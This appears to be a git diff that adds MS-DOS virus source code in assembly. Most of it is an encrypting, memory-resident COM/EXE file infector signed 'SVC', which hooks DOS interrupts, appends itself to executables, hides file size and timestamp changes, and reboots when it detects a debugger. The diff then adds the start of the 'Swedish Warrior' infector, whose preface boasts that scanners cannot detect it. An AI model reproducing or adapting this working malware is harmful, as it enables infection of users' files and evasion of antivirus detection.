+ pop si + db 83h,0EEh,3 ; sub si,offset next + mov word ptr cs:[si+offset storeAX],ax + push es + push si + xor dx,dx + mov ah,84h ; installation check + int 21h + pop si + push si + cmp dx,1990h + jne installvirus + cmp bh,byte ptr cs:[si+versionbyte] + ja go_exitvirus + jc installvirus + push si + push es + xchg ah,al ; convert ax to virus + xor ax,0FFFFh ; CS + mov es,ax ; es->resident virus + push cs + pop ds + xor di,di + mov cx,begindata - start - 1; same version? + cld + repe cmpsb + pop es + pop si + jz go_exitvirus ; yes, exit + jmp reboot ; else reboot +go_exitvirus: + jmp exitvirus +installvirus: + push es + xor ax,ax + mov ds,ax + les ax,dword ptr ds:21h*4 ; save old int 21h + mov cs:[si+oldint21],ax ; handler + mov word ptr cs:[si+oldint21+2],es + les ax,dword ptr ds:8*4 ; save old int 8 handler + mov cs:[si+oldint8],ax + mov word ptr cs:[si+oldint8+2],es + pop es + mov cs:[si+carrierPSP],es ; save current PSP + mov ah,49h ; Release memory @ PSP + int 21h + jc exitvirus ; exit on error + + mov ah,48h ; Find total memory size + mov bx,0FFFFh + int 21h + sub bx,(viruslength+15)/16+1; shrink allocation for carrier + jc exitvirus + + mov cx,es ; compute new memory + stc ; block location + adc cx,bx + mov ah,4Ah ; Allocate memory for carrier + int 21h + + mov bx,(viruslength+15)/16 + stc + sbb es:[2],bx ; fix high memory field in PSP + mov es,cx + mov ah,4Ah ; Allocate memory for virus + int 21h + + mov ax,es ; Go to virus MCB + dec ax + mov ds,ax + mov word ptr ds:[1],8 ; mark owner = DOS + mov ax,cs:[si+carrierPSP] ; go back to carrier PSP + dec ax ; go to its MCB + mov ds,ax + mov byte ptr ds:[0],'Z' ; mark it end of block + push cs + pop ds + xor di,di ; copy virus to high memory + mov cx,viruslength + 1 + cld + rep movsb + xor ax,ax + mov ds,ax + cli ; and set up virus + mov word ptr ds:21h*4,offset int21 + mov word ptr ds:21h*4+2,es ; interrupt handlers + mov word ptr ds:8*4,offset int8 + mov word ptr ds:8*4+2,es +exitvirus: + sti + push cs + pop ds + pop si + push si + mov ah,byte ptr cs:[si+offset encryptval1] + mov dh,byte ptr cs:[si+offset encryptval2] + add si,offset savebuffer + call decrypt + pop si + pop es + cld + cmp cs:[si+offset savebuffer],'ZM' + je returnEXE + mov di,100h + push cs + pop ds + push cs + pop es + push si + add si,offset savebuffer + movsb + movsw + pop si + mov ax,100h + push ax + mov ax,word ptr cs:[si+offset storeAX] + retn +returnEXE: + mov bx,es + add bx,10h + add bx,cs:[si+savebuffer+16h] + mov word ptr cs:[si+jmpcs],bx + mov bx,cs:[si+savebuffer+14h] + mov word ptr cs:[si+jmpip],bx + mov bx,es + mov ds,bx + add bx,10h + add bx,cs:[si+savebuffer+0eh] + cli + mov ss,bx + mov sp,cs:[si+savebuffer+10h] + sti + mov ax,word ptr cs:[si+offset storeAX] + db 0EAh ; jmp far ptr +jmpip dw 0 +jmpcs dw 0 + +int21: + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + mov word ptr cs:int21command,ax + cmp word ptr cs:int21command,4B03h ; load/no PSP + je _load_noexecute + cmp word ptr cs:int21command,4B01h ; load/no execute + je _load_noexecute + cmp word ptr cs:int21command,4B00h ; load/execute + je _load_execute + cmp ah,3Dh ; handle open + je _handleopen + cmp ah,3Eh ; handle close + je _handleclose + cmp ah,40h ; handle write + je _handlewrite + cmp ah,4Ch ; terminate + je _terminate + jmp short exitint21 + nop +_terminate: + jmp terminate +_handlewrite: + jmp handlewrite +_load_noexecute: + jmp load_noexecute +_handleclose: + jmp handleclose +_handlecreate: + jmp handlecreate +_load_execute: + jmp load_execute +_handleopen: + jmp handleopen +_FCBfindfirstnext: + jmp FCBfindfirstnext +_ASCIIfindfirstnext: + jmp ASCIIfindfirstnext +_handlegoEOF: + jmp handlegoEOF +_handleopen2: + jmp handleopen2 +_handleread: + jmp handleread +_getsetfiletime: + jmp getsetfiletime + +return: + retn + +load_execute_exit: + call restoreint24and23 + jmp short exitint21 + nop + +restoreint24and23: + xor ax,ax + mov ds,ax + mov ax,cs:oldint24 + mov ds:24h*4,ax + mov ax,cs:oldint24+2 + mov word ptr ds:24h*4+2,ax + mov ax,cs:oldint23 + mov ds:23h*4,ax + mov ax,cs:oldint23+2 + mov word ptr ds:23h*4+2,ax + retn + +exitint21: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + cmp ah,3Ch ; handlecreate + je _handlecreate + cmp ah,83h ; installation check for + je old_installation_check ; other versions of SVC + cmp ah,84h ; installation check for + je installation_check ; this version of SVC + cmp ah,4Eh ; find first? + je _ASCIIfindfirstnext + cmp ah,4Fh ; find next? + je _ASCIIfindfirstnext + cmp ah,11h ; find first + je _FCBfindfirstnext + cmp ah,12h ; find next + je _FCBfindfirstnext + cmp ax,4202h ; go EOF + je _handlegoEOF + cmp ah,3Dh ; handle open + je _handleopen2 + cmp ah,3Fh ; handle read + je _handleread + cmp ah,57h ; get/set file time + je _getsetfiletime + popf ; chain to original int + jmp dword ptr cs:oldint21 ; 21h handler + +callint21: + cli + pushf + call dword ptr cs:oldint21 + retn + +installation_check: + popf + mov bh,cs:versionbyte + mov ax,cs + xor ax,0FFFFh + xchg ah,al +common_installation_check_return: + mov dx,1990h + iret + +old_installation_check: + popf + jmp short common_installation_check_return + +popdsdx_return: + pop dx + pop ds + jmp return + +load_execute: + call check_chkdsk + call infectdsdx + jmp load_execute_exit + +infectdsdx: + call setint24and23 + jmp short infectdsdx_continue + nop + +setint24and23: + xor ax,ax + mov es,ax + les ax,dword ptr es:24h*4 + mov cs:oldint24,ax + mov cs:oldint24+2,es + xor ax,ax + mov es,ax + les ax,dword ptr es:23h*4 + mov cs:oldint23,ax + mov cs:oldint23+2,es + xor ax,ax + mov es,ax + mov word ptr es:24h*4,offset int24 + mov word ptr es:24h*4+2,cs + mov word ptr es:23h*4,offset int23 + mov word ptr es:23h*4+2,cs + retn + +infectdsdx_continue: + push ds + push dx + cmp byte ptr cs:tickcount,3Ch ; don't infect too early + jb popdsdx_return ; after previous one + mov ax,4300h ; get file attributes + call callint21 + jc popdsdx_return + mov cs:fileattr,cx + and cl,0FEh ; turn off r/o bit + mov ax,4301h ; and reset file attributes + call callint21 + jc popdsdx_return + mov cx,cs:fileattr + and cl,4 ; test cl,4 + cmp cl,4 ; check system attribute + je infecthandle_exit ; exit if set + mov ax,3D02h ; open file read/write + call callint21 + jc infecthandle_exit + mov bx,ax ; handle to bx + push dx ; save file name pointer + mov ax,5700h ; get file time/date + call callint21 + pop dx + and cx,1Eh ; check if seconds = 60 + cmp cx,1Eh ; (infection marker) + jne infect_dsdx_checkmo ; continue if not so marked + jmp short infecthandle_alreadyinfected + nop +infect_dsdx_checkmo: + call check_command_com + jnc infecthandle + jmp short infecthandle_alreadyinfected + nop + +check_command_com: + cld + mov si,dx +check_command_com_loop: + lodsw + cmp ax,'MM' ; COMMAND.COM? + je check_command_com_yes + cmp ax,'mm' + je check_command_com_yes + cmp ax,'MB' ; IBMBIO/IBMDOS? + je check_command_com_yes + cmp ax,'mb' + je check_command_com_yes + cmp ah,0 + je check_command_com_no + dec si + jmp short check_command_com_loop +check_command_com_yes: + stc + retn +check_command_com_no: + clc + retn + +infecthandle_exit: + jmp popdsdx_return +infecthandle: + cmp bx,5 ; check if handle too + jb infecthandle_exit ; small (predefined) + call checkifinfected + jnc infecthandle_alreadyinfected + call infect_handle +infecthandle_alreadyinfected: + mov ah,3Eh ; Close file + call callint21 + pop dx + pop ds + jc infecthandle_exit2 + mov ax,4301h ; restore file attributes + mov cx,cs:fileattr + call callint21 +infecthandle_exit2: + jmp return + +infect_handle_exit: + jmp infect_handle_error +infect_handle: + mov ax,5700h ; get file time/date + call callint21 + mov cs:filetime,cx + mov cs:filedate,dx + xor cx,cx + xor dx,dx + mov ax,4200h ; go to start of file + call callint21 + push cs + pop ds + mov cx,18h ; read header + mov dx,offset savebuffer + mov ah,3Fh + call callint21 + jc infect_handle_exit + push cs + pop es + push cs + pop ds + mov si,offset savebuffer ; copy to work buffer + mov di,offset workbuffer + mov cx,18h + cld + rep movsb + mov ax,2C00h + call callint21 + mov byte ptr cs:encryptval2,dh + mov byte ptr cs:encryptval1,dl + mov ah,dl + mov si,offset savebuffer + call decrypt + cmp cs:workbuffer,'ZM' ; check if EXE + je infect_handle_EXE + mov cs:workbuffer,0E9h ; encode the jmp + xor cx,cx + xor dx,dx + mov ax,4202h ; get file size + call callint21 + cmp dx,0 + jne infect_handle_exit + cmp ax,viruslength + jb infect_handle_exit + cmp ax,0EDE1h ; check if too large + jae infect_handle_exit + sub ax,3 ; adjust size to jmp location + mov word ptr cs:workbuffer+1,ax + call writevirusandheader ; write virus to file + jmp infect_handle_finish + +writevirusandheader: + push cs + pop ds + xor dx,dx + mov cx,viruslength + mov ah,40h ; concatenate virus + call callint21 + jc writevirusandheader_exit + cmp ax,viruslength + jne writevirusandheader_exit + xor cx,cx + xor dx,dx + mov ax,4200h ; go to start of file + call callint21 + jc writevirusandheader_exit + mov dx,offset workbuffer ; write new header to file + mov ah,40h + mov cx,18h + call callint21 + retn +writevirusandheader_exit: + stc + retn + +infect_handle_EXE: + xor cx,cx ; go to end of file + xor dx,dx + mov ax,4202h + call callint21 + push dx ; save file size + push ax + mov si,ax + xor ax,ax + xchg ax,dx + mov di,1000h + mul di + mov dx,ax + mov ax,si + mov si,dx + xor dx,dx + mov di,10h ; convert to paragraphs + div di + add ax,si + xchg ax,dx + sub dx,cs:workbuffer+8 ; subtract header size + mov word ptr cs:workbuffer+16h,dx ; insert new initial + mov word ptr cs:workbuffer+14h,ax ; CS:IP (end of file) + pop ax + pop dx + add ax,viruslength ; calculate new image + adc dx,0 ; size mod 512 and div 512 + mov di,200h + div di + cmp dx,0 + je infect_handle_EXE_nofixup + add ax,1 ; pagelength fixup +infect_handle_EXE_nofixup: + mov cs:workbuffer+4,ax + mov cs:workbuffer+2,dx + mov ds,word ptr cs:workbuffer+16h ; insert new SS:SP + mov word ptr cs:workbuffer+0Eh,ds + mov ax,word ptr cs:workbuffer+14h + add ax,17D7h + mov word ptr cs:workbuffer+10h,ax + call writevirusandheader ; write virus to file + jmp short infect_handle_finish + nop +infect_handle_error: + stc +infect_handle_finish: + mov ax,5701h ; restore file time/date + mov cx,cs:filetime + mov dx,cs:filedate + jc infect_handle_noreset + and cx,0FFFEh ; but set seconds to + or cx,1Eh ; 60 + mov byte ptr cs:tickcount,0 ; reset tickcount +infect_handle_noreset: + call callint21 + retn + +int23: + iret +int24: + mov al,3 + iret + +load_noexecute_exit: + jmp load_noexecute_closeexit +load_noexecute: + call setint24and23 + push ds + push dx + mov ax,4300h ; get file attributes + call callint21 + jc load_noexecute_exit + mov cs:fileattr,cx + and cl,0FEh ; turn off r/o bit + mov ax,4301h ; reset attributes + call callint21 + jc load_noexecute_exit + mov ax,3D02h ; open file read/write + call callint21 + jc load_noexecute_exit + mov bx,ax ; handle to bx + call checkifinfected + jc load_noexecute_exit + jmp short load_noexecute_disinfect + nop +checkifinfected_exit: + stc ; mark infected + retn ; and exit + +checkifinfected: + mov ax,5700h ; get file time/date + call callint21 + mov cs:filedate,dx + mov cs:filetime,cx + and cx,1Fh + cmp cx,1Eh + jne checkifinfected_exit + xor cx,cx + xor dx,dx + mov ax,4202h ; go to end of file + call callint21 + jc checkifinfected_exit + mov cs:filesizelo,ax ; save filesize + mov cs:filesizehi,dx + sub ax,endvirus - infection_marker + sbb dx,0 + mov cx,ax + xchg cx,dx + mov ax,4200h ; rewind to infection + call callint21 ; marker + jc checkifinfected_exit + push cs + pop ds + mov ah,3Fh ; read file + mov cx,3 + mov dx,offset savebuffer + call callint21 + jc checkifinfected_exit + push cs + pop es + mov si,offset savebuffer ; check for infection + mov di,offset infection_marker + mov cx,3 ; marker + repne cmpsb + jnz checkifinfected_exit + clc ; mark not infected + retn ; and exit + +load_noexecute_disinfect: + call disinfect + jmp load_noexecute_closeexit + +disinfect_exit: + jmp disinfect_error +disinfect: + mov dx,cs:filesizelo + mov cx,cs:filesizehi + sub dx,75h ; go to savebuffer + nop + sbb cx,0 + mov ax,4200h + call callint21 + jc disinfect_exit + jmp short disinfect_file + nop + + jmp load_noexecute_closeexit +disinfect_file: + push cs + pop ds + mov ah,3Fh ; Read carrier's + mov cx,18h ; original header + mov dx,offset savebuffer + push cs + pop ds + call callint21 + jc disinfect_exit + mov dx,cs:filesizelo ; go to decryption + mov cx,cs:filesizehi ; values + sub dx,endvirus - encryptval1 + nop + sbb cx,0 + mov ax,4200h + call callint21 + mov dx,offset encryptval1 + mov ah,3Fh ; read decryption values + mov cx,2 + call callint21 + mov si,offset savebuffer + mov ah,byte ptr cs:encryptval1 + mov dh,byte ptr cs:encryptval2 + call decrypt ; decrypt old header + xor cx,cx + xor dx,dx + mov ax,4200h + call callint21 + jc disinfect_error + mov ah,40h ; Write old header to + mov cx,18h ; file + mov dx,offset savebuffer + call callint21 + jc disinfect_error + mov dx,cs:filesizelo + mov cx,cs:filesizehi + sub dx,viruslength + sbb cx,0 ; go to end of carrier + mov ax,4200h ; file and + call callint21 + jc disinfect_error + mov ah,40h ; truncate file + xor cx,cx ; at current position + call callint21 + jc disinfect_error + mov ax,5701h ; restore file time/date + mov dx,cs:filedate + mov cx,cs:filetime + xor cx,1Fh + call callint21 + retn +disinfect_error: + stc ; mark error + retn + +load_noexecute_closeexit: + mov ah,3Eh ; Close file and + call callint21 + mov ax,4301h ; restore attributes + mov cx,offset fileattr ; BUG!!! + pop dx + pop ds + call callint21 + call restoreint24and23 + jmp exitint21 + +FCBfindfirstnext: + call dword ptr cs:oldint21 ; prechain + pushf + pop cs:returnFlags + cmp al,0FFh + je FCBfindfirstnext_exit + cmp cs:chkdskflag,0 + jne FCBfindfirstnext_exit + push ax + push bx + push cx + push dx + push es + push ds + mov ah,2Fh ; Get DTA + call callint21 + cmp word ptr es:[bx],0FFh ; extended FCB? + jne FCBfindfirstnext_noextendedFCB + add bx,8 ; convert if so +FCBfindfirstnext_noextendedFCB: + mov ax,es:[bx+16h] + and ax,1Fh ; check if seconds = 60 + cmp ax,1Eh + jne FCBfindfirstnext_notinfected + xor word ptr es:[bx+16h],1Fh; fix seconds field + sub word ptr es:[bx+1Ch],viruslength + sbb word ptr es:[bx+1Eh],0 ; shrink size +FCBfindfirstnext_notinfected: + pop ds + pop es + pop dx + pop cx + pop bx + pop ax +FCBfindfirstnext_exit: + pop cs:storesIP + pop cs:storesCS + popf + push cs:returnFlags + push cs:storesCS + push cs:storesIP + iret + +ASCIIfindfirstnext: + call dword ptr cs:oldint21 ; prechain + pushf + pop cs:returnFlags + jc ASCIIfindfirstnext_exit + cmp cs:chkdskflag,0 + jne ASCIIfindfirstnext_exit + push ax + push bx + push cx + push dx + push es + push ds + mov ah,2Fh ; Get DTA + call callint21 + mov ax,es:[bx+16h] ; get file time + and ax,1Fh ; to check if file + cmp ax,1Eh ; infected + jne ASCIIfindfirstnext_notinfected + xor word ptr es:[bx+16h],1Fh ; hide time change + sub word ptr es:[bx+1Ah],viruslength; and file length + sbb word ptr es:[bx+1Ch],0 ; change +ASCIIfindfirstnext_notinfected: + pop ds + pop es + pop dx + pop cx + pop bx + pop ax +ASCIIfindfirstnext_exit: + pop cs:storesIP + pop cs:storesCS + popf + push cs:returnFlags + push cs:storesCS + push cs:storesIP + iret +handleopen: + call check_infectok + jnc handleopen_continue + jmp exitint21 + +check_infectok: + cld + mov si,dx + lodsw + cmp ah,':' + jne check_infectok_nodrive + cmp al,'a' ; make sure not floppy + je check_infectok_exit + cmp al,'A' + je check_infectok_exit + cmp al,'B' + jb check_infectok_exit ; BUG + cmp al,'b' + je check_infectok_exit + jmp short check_extension + nop +check_infectok_exit: + jmp short check_extension_notok + nop +check_infectok_nodrive: + mov ah,19h ; get default drive + call callint21 + cmp al,2 ; make sure not floppy + jae check_extension + jmp short check_extension_notok + db 90h + +check_extension: + cld + mov si,dx +check_extension_findextension: + lodsb + cmp al,'.' + je check_extension_foundextension + cmp al,0 + jne check_extension_findextension + jmp short check_extension_notok + db 90h +check_extension_foundextension: + lodsw + cmp ax,'OC' + je check_extension_checkcom + cmp ax,'oc' + je check_extension_checkcom + cmp ax,'XE' + je check_extension_checkexe + cmp ax,'xe' + je check_extension_checkexe + jmp short check_extension_notok + db 90h +check_extension_checkcom: + lodsb + cmp al,'M' + je check_extension_ok + cmp al,'m' + je check_extension_ok + jmp short check_extension_notok + db 90h +check_extension_checkexe: + lodsb + cmp al,'E' + je check_extension_ok + cmp al,'e' + je check_extension_ok + jmp short check_extension_notok + db 90h +check_extension_ok: + clc + retn +check_extension_notok: + stc + retn + +handleopen_continue: + call infectdsdx + call restoreint24and23 + jmp exitint21 +handlecreate: + mov word ptr cs:storess,ss ; preserve ss and sp + mov word ptr cs:storesp,sp + call dword ptr cs:oldint21 + cli + mov ss,word ptr cs:storess + mov sp,word ptr cs:storesp + sti + pop cs:returnFlags ; save return flags + pushf + push ax + push bx + push cx + push ds + push es + push si + push di + jc handlecreate_exit + push dx + push ax + call check_extension + pop ax + pop dx + jc handlecreate_exit + push ax + call check_command_com + pop ax + jc handlecreate_exit + mov cs:handletoinfect,ax ; save handle to infect + ; upon close +handlecreate_exit: + pop di + pop si + pop es + pop ds + pop cx + pop bx + pop ax + jmp exit_replaceflags +handleclose_exit: + mov cs:filehand,0 + jmp exitint21 + +handleclose: + cmp bx,0 + jne handleclose_continue + jmp exitint21 +handleclose_continue: + cmp bx,cs:handletoinfect + je handleclose_infect + cmp bx,cs:filehand + je handleclose_exit + jmp exitint21 +handleclose_infect: + mov ah,45h ; Duplicate file handle + call callint21 + jc handleclose_infect_exit + xchg ax,bx + call setint24and23 + call handleclose_infecthandle + call restoreint24and23 +handleclose_infect_exit: + mov cs:handletoinfect,0 + jmp exitint21 + +handleclose_infecthandle: + push ds + push dx + jmp infecthandle + +int8: + push ax + push ds + pushf + cmp byte ptr cs:tickcount,0FFh ; don't "flip" tickcount + je int8checkint1 + inc cs:tickcount ; one mo tick +int8checkint1: + xor ax,ax + mov ds,ax + cmp word ptr ds:1*4,offset int1 ; int 1 changed? + jne int8setint1 ; fix it if so + mov ax,cs + cmp word ptr ds:1*4+2,ax + jne int8setint1 +int8checkint3: + cmp word ptr ds:3*4,offset int3 ; int 3 changed? + jne int8setint3 ; fix it if so + mov ax,cs + cmp word ptr ds:3*4+2,ax + jne int8setint3 +exitint8: + popf + pop ds + pop ax + jmp dword ptr cs:oldint8 + +int8setint1: + push es + les ax,dword ptr ds:1*4 + mov cs:oldint1,ax + mov word ptr cs:oldint1+2,es + mov word ptr ds:1*4,offset int1 + mov word ptr ds:1*4+2,cs + pop es + jmp short int8checkint3 +int8setint3: + push es + les ax,dword ptr ds:3*4 + mov cs:oldint3,ax + mov word ptr cs:oldint3+2,es + mov word ptr ds:3*4,offset int3 + mov word ptr ds:3*4+2,cs + pop es + jmp short exitint8 + +int3: ; reboot if debugger + push bp ; is active + push ax + mov bp,sp + add bp,6 + mov bp,[bp] + mov ax,cs + cmp bp,ax + pop ax + pop bp + jz reboot + jmp dword ptr cs:oldint3 + +exitint1: + iret + +int1: + push bp ; this routine doesn't + push ax ; do very much that's + mov bp,sp ; meaningful + add bp,6 + mov bp,[bp] + mov ax,cs + cmp bp,ax + pop ax + pop bp + jz exitint1 + jmp dword ptr cs:oldint1 +reboot: + db 0EAh ; jmp F000:FFF0 + db 0F0h, 0FFh, 0, 0F0h ; (reboot) + +decrypt: + push bx + push es + call decrypt_next +decrypt_next: + pop bx + mov byte ptr cs:[bx+16h],32h ; inc sp -> xor al,ah + nop + mov byte ptr cs:[bx+19h],2 ; add dh,ah -> add ah,dh + nop + push ds + pop es + mov di,si + mov cx,18h + cld +decrypt_loop: + lodsb + db 0FFh, 0C4h ; inc sp + stosb + db 0, 0E6h ; add dh,ah + loop decrypt_loop + + mov byte ptr cs:[bx+16h],0FFh ; change back to inc sp + mov byte ptr cs:[bx+19h],0 ; and add dh,ah -- why? + pop es + pop bx + retn + +handlegoEOF: + popf + cmp cs:filehand,bx ; currently working on this? + jne handlegoEOFexit + mov cs:tempstoreDX,dx ; save offset from EOF + mov cs:tempstoreCX,cx + xor cx,cx + xor dx,dx + call callint21 ; go to EOF + sub ax,viruslength ; shrink to carrier size + sbb dx,0 + mov cx,ax + xchg cx,dx + add dx,cs:tempstoreDX ; add offset from carrier + adc cx,cs:tempstoreCX ; EOF + mov ax,4200h ; and do it +handlegoEOFexit: + jmp dword ptr cs:oldint21 + +handleopen2: + call dword ptr cs:oldint21 + pushf + push ax + push bx + push cx + push dx + push di + push si + push ds + push es + jc handleopen2_exit + cmp cs:filehand,0 + jne handleopen2_exit + push ax + mov bx,ax + call checkifinfected + pop ax + jc handleopen2_alreadyinfected + mov cs:filehand,ax ; save file handle for + mov bx,ax ; later use + mov ax,4202h ; go to end of file + xor cx,cx ; to find file size + xor dx,dx + call callint21 + sub ax,viruslength ; calculate carrier + sbb dx,0 ; size and store it + mov cs:carrierEOFhi,dx + mov cs:carrierEOFlo,ax +handleopen2_alreadyinfected: + xor cx,cx ; go to start of file + xor dx,dx + mov ax,4200h + call callint21 +handleopen2_exit: + pop es + pop ds + pop si + pop di + pop dx + pop cx + pop bx + pop ax +exit_replaceflags: + popf + pop cs:storesIP + pop cs:storesCS + pop cs:returnFlags + pushf + push cs:storesCS + push cs:storesIP + iret +handleread_exit: + jmp handleread__exit + +handleread: + call dword ptr cs:oldint21 ; prechain + pushf + push ax + push cx + push dx + push ds + push di + push si + push es + jc handleread_exit ; exit on error + cmp cs:filehand,0 + je handleread_exit + cmp cs:filehand,bx + jne handleread_exit + mov cs:bufferoff,dx + mov cs:bufferseg,ds + mov cs:bytesread,ax + xor cx,cx ; get current file position + xor dx,dx + mov ax,4201h + call callint21 + jc handleread_exit + sub ax,cs:bytesread ; find pre-read location + sbb dx,0 ; to see if need to + mov cs:origposhi,dx ; redirect it + mov cs:origposlo,ax + mov ax,4202h ; go to end of file + xor cx,cx + xor dx,dx + call callint21 + sub ax,viruslength + sbb dx,0 + mov cs:carrierEOFlo,ax + mov cs:carrierEOFhi,dx + cmp cs:origposhi,0 ; check if read was + jne handleread_notinheader ; from the header + cmp cs:origposlo,18h + jb handleread_inheader +handleread_notinheader: + mov cx,cs:origposhi ; check if read extended + mov dx,cs:origposlo ; into the virus + add dx,cs:bytesread + adc cx,0 + cmp cx,cs:carrierEOFhi + jb handleread_notinvirus + ja handleread_invirus + cmp dx,cs:carrierEOFlo + ja handleread_invirus +handleread_notinvirus: + mov cx,cs:origposhi ; return to proper file + mov dx,cs:origposlo ; position + add dx,cs:bytesread + adc cx,0 + mov ax,4200h + call callint21 +handleread__exit: + pop es + pop si + pop di + pop ds + pop dx + pop cx + pop ax + jmp exit_replaceflags +handleread_invirus: + jmp handleread__invirus +handleread_inheader: + cmp cs:bytesread,0 + je handleread_notinheader + mov cx,cs:carrierEOFhi + mov dx,cs:carrierEOFlo + add dx,offset savebuffer + adc cx,0 + mov ax,4200h + call callint21 + jc handleread_notinheader + push ds + pop es + push cs + pop ds + mov dx,offset savebuffer + mov ah,3Fh ; Read header + mov cx,18h + call callint21 + jc handleread_notinheader + cmp ax,18h + jne handleread_notinheader + mov cx,cs:carrierEOFhi ; go to decryption values + mov dx,cs:carrierEOFlo + add dx,offset encryptval1 + adc cx,0 + mov ax,4200h + call callint21 + mov ah,3Fh ; read decryption values + mov cx,2 + mov dx,offset encryptval1 + call callint21 + jc handleread_inheader_error + mov si,offset savebuffer + mov ah,byte ptr cs:encryptval1 + mov dh,byte ptr cs:encryptval2 + call decrypt + mov cx,cs:origposlo + neg cx + add cx,18h + cmp cx,cs:bytesread + jb handleread_inheader_noadjust + mov cx,cs:bytesread +handleread_inheader_noadjust: + mov si,offset savebuffer ; copy previously read + add si,cs:origposlo ; stuff if necessary + mov di,cs:bufferoff + mov es,cs:bufferseg + cld + cmp cx,0 + je handleread_inheader_nomove + rep movsb +handleread_inheader_nomove: + jmp handleread_notinheader +handleread_inheader_error: + jmp handleread_notinheader +handleread__invirus: + mov cx,cs:origposhi + cmp cx,cs:carrierEOFhi + ja handleread__invirus_gocarrierEOF + jc handleread__invirus_readpart + mov cx,cs:origposlo + cmp cx,cs:carrierEOFlo + jb handleread__invirus_readpart +handleread__invirus_gocarrierEOF: + mov cx,cs:origposhi + mov dx,cs:origposlo + mov ax,4200h + call callint21 + xor ax,ax +handleread__invirus_exit: + pop es + pop si + pop di + pop ds + pop dx + pop cx + pop cs:returnFlags + jmp exit_replaceflags +handleread__invirus_readpart: + mov cx,cs:carrierEOFhi ; read portion of + mov dx,cs:carrierEOFlo ; file up to virus + mov ax,4200h + call callint21 + sub ax,cs:origposlo + jmp short handleread__invirus_exit +handlewrite: + cmp bx,0 + je handlewrite_exit + cmp bx,cs:filehand + jne handlewrite_exit + mov ax,4201h ; get current position + xor cx,cx ; in the file + xor dx,dx + call callint21 + jc handlewrite_exit + mov cs:curposlo,ax + mov cs:curposhi,dx + mov ax,4202h ; go to end of file + xor cx,cx ; to find the filesize + xor dx,dx + call callint21 + mov cs:filesizelo,ax + mov cs:filesizehi,dx + call disinfect ; disinfect the file + jc handlewrite_done + cmp cs:handletoinfect,0 + jne handlewrite_done + mov cs:handletoinfect,bx + mov cs:filehand,0 +handlewrite_done: + mov dx,cs:curposlo ; return to original + mov cx,cs:curposhi ; position + mov ax,4200h + call callint21 +handlewrite_exit: + jmp exitint21 + +terminate: + mov cs:chkdskflag,0 + jmp exitint21 + +check_chkdsk: + mov si,dx + cld +check_chkdsk_loop1: + lodsw + cmp ah,0 + je check_chkdsk_exit + cmp ax,'HC' + je check_chkdsk_loop2 + cmp ax,'hc' + je check_chkdsk_loop2 + dec si + jmp short check_chkdsk_loop1 +check_chkdsk_exit: + retn +check_chkdsk_loop2: + push si + lodsw + cmp ax,'DK' + pop si + jz check_chkdsk_found + cmp ax,'dk' + je check_chkdsk_found + dec si + jmp short check_chkdsk_loop1 +check_chkdsk_found: + mov cs:chkdskflag,1 + retn + +getsetfiletime: + cmp al,0 ; get file tiem? + jne getsetfiletime_exit ; nope, exit + call dword ptr cs:oldint21 ; prechain + pushf + and cx,1Eh ; if (seconds == 60) + cmp cx,1Eh ; then xor with 60h + jne getsetfiletime_nofix ; to hide the change + xor cx,1Eh ; otherwise, don't +getsetfiletime_nofix: + jmp exit_replaceflags +getsetfiletime_exit: + popf + jmp dword ptr cs:oldint21 + + db '(c) 1990 by SVC,Vers. ' + + + +infection_marker db '5.0 ',0 + +begindata: +oldint1 dw 0, 0 +oldint3 dw 0, 0 +oldint8 dw 0, 0 +oldint21 dw 0, 0 +savebuffer dw 20CDh + dw 11 dup (0) +tickcount db 0 +carrierPSP dw 0 +origposlo dw 0 +origposhi dw 0 +carrierEOFlo dw 0 +carrierEOFhi dw 0 +bytesread dw 0 +bufferoff dw 0 +bufferseg dw 0 +tempstoreCX dw 0 +tempstoreDX dw 0 +filehand dw 0 +fileattr dw 0 +filetime dw 0 +filedate dw 0 +chkdskflag dw 0 +oldint24 dw 0, 0 +oldint23 dw 0, 0 +handletoinfect dw 0 +storesIP dw 0 +storesCS dw 0 +returnFlags dw 0 +filesizelo dw 0 +filesizehi dw 0 +curposlo dw 0 +curposhi dw 0 +workbuffer dw 12 dup (0) +storeAX dw 0 + db 0 +storess dw 0 +storesp dw 0 +int21command dw 0 +encryptval1 db 0 +encryptval2 db 0 + dw 1990h ; written 1990 +versionbyte db 50h ; version 5.0 + +endvirus = $ +viruslength = $ - start + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.sw.asm b/MSDOS/Virus.MSDOS.Unknown.sw.asm new file mode 100644 index 00000000..8a3a90b7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sw.asm @@ -0,0 +1,223 @@ +; VirusName: Swedish Warrior +; Origin : Sweden +; Author : Lord Zero +; +; Okey, I decided to include this virus, of many reasons. But first +; let's give some information about LOC (Logical Coders). +; +; LOC (Logical Coders) turned out to be a demo-group instead of a Virus- +; group, that I thought it was. THM (Trojan Horse Maker 1.10) was just +; released by Lord Zero, ie, NOT a LOC product. Lord Zero was also +; kicked from LOC after LOC noticed 'their' release of THM. +; +; Then why release it? Well It can't however still not be detected +; by any scanner (except Tbscan's Heuristic!). And it's a shame to +; see a virus being programmed, but not given to the major public. +; +; A message to all of LOC, Sorry for state "LoC the new Swedish +; virus writing group", but what was I suppose to think? +; +; I wish Lord Zero my best in his single career, or what-ever.. +; / The Unforgiven/Immortal Riot +; 陳-陳陳陳-陳陳陳陳陳--陳陳陳陳陳陳--陳陳陳---陳陳陳陳陳陳-陳陳- +; SWEDISH WARRIOR +; 陳-陳陳陳-陳陳陳陳陳--陳陳陳陳陳陳--陳陳陳---陳陳陳陳陳陳-陳陳- +; A hardly commented non-overwriting memory resident *.COM infector. + + .MODEL TINY + .CODE + org 100h + + +Start: + call go +go: pop bp + push ax + push cx + sub bp,offset go + mov ax,3D03h + mov dx,9eh + int 21h + jnc ok + + mov cx,cs + mov ds,cx + mov es,cx + + mov cx,es + dec cx + mov es,cx + + mov bx,es:[03h] + + mov dx,offset Finish-offset Start + mov cl,4 + shr dx,cl + add dx,4 + + mov cx,es + inc cx + mov es,cx + + sub bx,dx + mov ah,4Ah + int 21h + + jc ok + dec dx + mov ah,48h + mov bx,dx + int 21h + + jc ok + + dec ax + mov es,ax + mov cx,8 + mov es:[01],cx + mov si,offset offset start + add si,bp + sub ax,0Fh + mov es,ax + mov di,0100h + mov cx,offset Finish-offset Start + cld + rep movsb + xor ax,ax + mov ds,ax + mov di,offset oldint21 + mov si,084h + mov bx,offset tsr + call maketsr +ok: + push cs + pop es 